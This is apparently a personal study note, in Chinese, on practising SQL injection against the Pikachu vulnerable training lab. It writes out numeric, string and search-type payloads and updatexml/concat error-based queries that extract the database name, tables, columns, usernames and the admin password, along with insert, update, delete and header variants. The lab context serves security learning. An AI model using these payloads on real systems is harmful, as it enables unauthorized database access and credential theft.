2023/03/24-25
pikachu漏洞练习平台:
web安全pikachu靶场之SQL注入 - 青日GO(/ω\) - 博客园
pikachu 靶场搭建(完整版)_攀爬的小白的博客-CSDN博客
Burpsuite软件使用:
安装教程:
BurpSuite全套使用教程(超实用超详细介绍)_burpsuite教程_告白热的博客-CSDN博客
简单抓包使用教程:
burp在抓包前需要配置代理,在使用完毕之后,及时关闭代理
burpsuite抓包-PC端及使用_weixin_33972649的博客-CSDN博客
本地127.0.0.1无法抓包的解决教程:
关于Firefox 无法抓取本地localhost数据包的问题与解决_XavierDarkness的博客-CSDN博客
1. SQL注入学习:
1)数字型注入
下拉框输入一个数字,发现url中并没有传参,提交方式为post方式
测试这个输入点是否存在漏洞,正常的查询逻辑是,后台在数据库中进行了查询,返回了姓名和邮箱
select 字段1,字段2 from 表名 where id = 1
用burp进行抓包,得到对应的消息,
我们猜测其为常见的数字型sql注入,直接把payload改成 1 or 1=1即可,发现显示所有的用户和邮箱
2)字符型注入:
任意输入一个字符,查询,在url中发现其是get请求类型
字符型注入,采用常见的尝试方法:1‘ or 1=1 #
#用来注释掉后面的单引号。
3)搜索型注入:
任意输入一个字符进行尝试,输入g
sql语句中,like查询的匹配符有三种,这种猜测是最基础的%匹配
sql的like用法总结,可以见这个博客
Sql中的like用法_sql like_lovetimiforever的博客-CSDN博客
根据查询结果,猜测其基本语句为:
select from 表名 where username like ' %k% ';
这里我们利用类似字符型注入的方式进行构造:
f%’ or 1 =1 #
查询到了所有的用户信息
4)xx型注入:
pikachu页面输入1’ ,发现报错,说明很可能出现sql漏洞
查看php后端代码
发现其是用一个括号来拼接前段获取的代码,据此,构造一个合法的闭合来进行测试。
5)”insert/update”注入
Web安全测试学习笔记-SQL注入-利用concat和updatexml函数
报错注入:
在Mysql中使用一些指定的函数来制造报错,从而在报错信息中获取设定的信息,select,insert,update,delete都可以使用报错来获取信息
常见的报错注入函数:
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。
updatexml():
改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)
第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的
XPATH定位必须是有效的,否则会发生错误。
concat函数是mysqp的字符串连接函数,将SQL语句放在concat中,SQL语句会被执行
0x7e是16进制中的“~”,是一个特殊符号,能够被自动转义
concat执行sql注入语句,再利用updatexml的报错信息返回sql语句的执行结果
- select下报错的利用演示
在字符串注入界面演示:
k' and updatexml(1,concat(0x7e,version()),0)#
k' and updatexml(1,concat(0x7e,database()),0)#
获得对应的版本号和数据库的名称
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
获取对应的表明,limit一次一次获得表明
尝试后,发现其有五个表:httpinfo, member, message, users, xssblind
之后通过类似的命令,获取对应的表的列名
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
以Users表为例,说明,其有:USER,-CURRENT_CNNECTIONS, -TOTAL_CONNECTIONS, -id , -username, -password, -level
或者列名后,可以获取数据
k' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
得到对应的用户名为admin, pikachu, test
得到用户名后,根据用户名查询密码:
获得用户名后,再根据用户名查询密码:
k' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
- “insert/update”注入:
通用的方法判断是否存在sql注入漏洞,这里是一个字符型insert函数。
如果构造insert的payload函数
deqdeq' or updatexml(1,concat(0x7e,database()),0) and '
字符型注入,所有后面应该加个 and ‘ 或者 or ‘ 这种
密码随意,提交,这样就完成了注入
update注入和上述过程一样,最后都是获得了数据库的名字,进行表,列名等一些列的获取。
- delete注入:
点击删除留言,留言被删除,打开burp查看抓包
构造对应的注入命令:
1 or updatexml(1,concat(0x7e,database()),0)
将其进行URL编码
提交后,返回报错的信息:
extractvalue():
利用方式和updatexml基本相同
floor():
之后有时间再看
6)http header注入
后台开发人员为了验证客户端头信息(cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent,accept字段等。会对客户端的http header信息进行获取并使用SQL进行处理
将User-agent修改为单引号提交,查看结果,发现存在sql报错,证明可能存在漏洞
输入包含updatexml的攻击payload,发现输出对应的数据库